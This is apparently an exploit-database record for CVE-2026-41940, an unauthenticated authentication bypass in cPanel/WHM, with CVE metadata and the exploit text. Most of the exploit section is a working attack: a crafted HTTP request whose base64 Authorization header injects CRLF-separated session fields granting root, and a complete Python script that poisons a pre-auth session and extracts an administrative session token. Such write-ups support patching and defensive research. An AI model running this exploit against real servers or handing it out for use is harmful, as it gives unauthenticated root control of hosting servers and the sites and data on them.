{"exploit":{"id":"EDB-52574","name":"cPanel - Unauthenticated CRLF Injection / Authentication Bypass","description":"cPanel - Unauthenticated CRLF Injection / Authentication Bypass","cves":["CVE-2026-41940"],"author":"nu11secur1ty","published":"2026-05-26","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52574","path":"exploits/php/webapps/52574.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52574.txt","vulnerabilities":[{"id":"CVE-2026-41940","state":"PUBLISHED","title":"WebPros cPanel and WHM Authentication Bypass via Login Flow","titleSource":"CVE Program","description":"cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41940","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41940"},"updatedAt":"2026-09-30T17:20:17.713Z","retrievedAt":"2026-11-25T16:15:50.291Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52574.png?v=2","url":"https://exploitbin.com/exploits/EDB-52574","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52574/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52574/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# ExploitTitle: cPanel 11.40 - CRLF Injection\n# Author: nu11secur1tyAI\n# Date: 2026-04-30\n# Vendor: cPanel, L.L.C.\n# Software: cPanel & WHM (cpsrvd)\n# Reference: CVE-2026-41940 / watchTowr-2026-01\n\n## Description:\nA critical authentication bypass vulnerability exists in the cPanel/WHM\n`cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in\nthe `whostmgrsession` cookie and `Authorization` headers. An\nunauthenticated remote attacker can leverage this flaw to inject malicious\nsession parameters directly into the server's flat-file session metadata\nstore. By injecting sequences such as `user=root`, `hasroot=1`, and\n`tfa_verified=1`, the attacker subverts the internal authentication logic,\nforcing the system to issue a valid administrative session token\n(`/cpsessXXXXXXXXXX/`). This grants the attacker full `root` privileges\nover the WHM interface and the host operating system without requiring\nvalid credentials.\n\nSTATUS: MEDIUM - HIGH / Vulnerability\n\n[+] Payload:\n```http\nGET / HTTP/1.1\nHost: [TARGET_HOST]:2087\nAuthorization: Basic\ncm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x\nCookie: whostmgrsession=[PREAUTH_SESSION_ID]\nConnection: close\n```\n\n[+] Exploit (Python):\n\nimport argparse\nimport re\nimport requests\nimport urllib.parse\nimport urllib3\n\n# Disable SSL warnings for cleaner output\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Crafted B64 payload:\n#\nroot:x\\r\\nsuccessful_internal_auth_with_timestamp=9999999999\\r\\nuser=root\\r\\ntfa_verified=1\\r\\nhasroot=1\nPAYLOAD_B64 =\n\"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x\"\n\ndef exploit(target):\n    s = requests.Session()\n    s.verify = False\n\n    print(f\"[*] Initializing attack on {target}...\")\n\n    # Stage 1: Obtain pre-auth session base\n    try:\n        r = s.post(f\"{target}/login/?login_only=1\", data={\"user\": \"root\",\n\"pass\": \"wrong_pass\"}, allow_redirects=False, timeout=10)\n        cookie = r.headers.get(\"Set-Cookie\", \"\")\n        match = re.search(r\"whostmgrsession=([^;,]+)\", cookie)\n        if not match:\n            print(\"[-] Error: Could not retrieve whostmgrsession cookie.\")\n            return\n        session_base = urllib.parse.unquote(match.group(1))\n        print(f\"[+] Obtained session base: {session_base}\")\n\n        # Stage 2: Poison session via CRLF Injection\n        headers = {\n            \"Authorization\": f\"Basic {PAYLOAD_B64}\",\n            \"Cookie\": f\"whostmgrsession={urllib.parse.quote(session_base)}\",\n            \"Connection\": \"close\"\n        }\n        r = s.get(f\"{target}/\", headers=headers, allow_redirects=False,\ntimeout=10)\n\n        # Stage 3: Extract leaked security token\n        location = r.headers.get(\"Location\", \"\")\n        token_match = re.search(r\"/cpsess\\d{10}\", location)\n\n        if token_match:\n            token = token_match.group(0)\n            print(f\"[!] EXPLOIT SUCCESSFUL!\")\n            print(f\"[!] Leaked Token: {token}\")\n            print(f\"[!] Access URL: {target}{token}/\")\n        else:\n            print(\"[-] Exploit failed. The target may be patched or\nprotected by a WAF.\")\n\n    except Exception as e:\n        print(f\"[-] Connection error: {e}\")\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"cPanel/WHM CVE-2026-41940\nExploit\")\n    parser.add_argument(\"--target\", required=True, help=\"Target URL (e.g.,\n[https://192.168.1.1:2087](https://192.168.1.1:2087))\")\n    args = parser.parse_args()\n    exploit(args.target.rstrip(\"/\"))\n\n```\n[+]Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-41940\n\nTime spent:\n03:45:00\n\n--\n\nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://packetstormsecurity.com/\nhttps://cve.mitre.org/index.html\nhttps://cxsecurity.com/ and https://www.exploit-db.com/\nhome page: https://www.asc3t1c-nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty https://www.asc3t1c-nu11secur1ty.com/\n\n--\n\nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://packetstorm.news/\nhttps://cve.mitre.org/index.html\nhttps://cxsecurity.com/ and https://www.exploit-db.com/\n0day Exploit DataBase https://0day.today/\nhome page: https://www.asc3t1c-nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\n                          nu11secur1ty <http://nu11secur1ty.com/>","sha256":"52904d10ae83edaf20a97a0ae2d13b968630bea3aadfc5092464afde538963b9","bytes":4500,"fetchedAt":"2026-11-26T08:59:43.355Z","encoding":"utf-8 (display only; download retains original bytes)"}